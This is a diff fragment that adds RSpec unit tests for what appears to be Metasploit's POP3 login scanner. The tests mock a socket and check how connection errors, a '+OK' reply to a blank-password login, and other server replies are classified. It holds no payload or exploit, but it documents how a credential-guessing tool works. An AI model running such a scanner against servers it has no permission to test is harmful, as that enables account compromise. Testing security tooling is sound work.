it_behaves_like 'Metasploit::Framework::LoginScanner::Base' + it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' + + context "#attempt_login" do + + let(:pub_blank) do + Metasploit::Framework::LoginScanner::Credential.new( + paired: true, + public: "public", + private: '' + ) + end + context "Raised Exceptions" do + it "Rex::ConnectionError should result in status :connection_error" do + expect(scanner).to receive(:connect).and_raise(Rex::ConnectionError) + result = scanner.attempt_login(pub_blank) + + expect(result).to be_kind_of(Metasploit::Framework::LoginScanner::Result) + expect(result.status).to eq(:connection_error) + end + + it "Timeout::Error should result in status :connection_error" do + expect(scanner).to receive(:connect).and_raise(Timeout::Error) + result = scanner.attempt_login(pub_blank) + + expect(result).to be_kind_of(Metasploit::Framework::LoginScanner::Result) + expect(result.status).to eq(:connection_error) + end + + it "EOFError should result in status :connection_error" do + expect(scanner).to receive(:connect).and_raise(EOFError) + result = scanner.attempt_login(pub_blank) + + expect(result).to be_kind_of(Metasploit::Framework::LoginScanner::Result) + expect(result.status).to eq(:connection_error) + end + end + + context "Open Connection" do + let(:sock) {double('socket')} + + before(:each) do + sock.stub(:shutdown) + sock.stub(:close) + sock.stub(:closed?) + expect(scanner).to receive(:connect) + scanner.stub(:sock).and_return(sock) + scanner.should_receive(:select).with([sock],nil,nil,0.4) + end + + it "Server returns +OK" do + expect(sock).to receive(:get_once).exactly(3).times.and_return("+OK") + expect(sock).to receive(:put).with("USER public\r\n").once.ordered + expect(sock).to receive(:put).with("PASS \r\n").once.ordered + + result = scanner.attempt_login(pub_blank) + + expect(result).to be_kind_of(Metasploit::Framework::LoginScanner::Result) + expect(result.status).to eq(:success) + + end + + it "Server Returns Something Else" do + sock.stub(:get_once).and_return("+ERROR") + + result = scanner.attempt_login(pub_blank) + + expect(result).to be_kind_of(Metasploit::Framework::LoginScanner::Result) + expect(result.status).to eq(:failed) + expect(result.proof).to eq("+ERROR") + + end + end + + end +end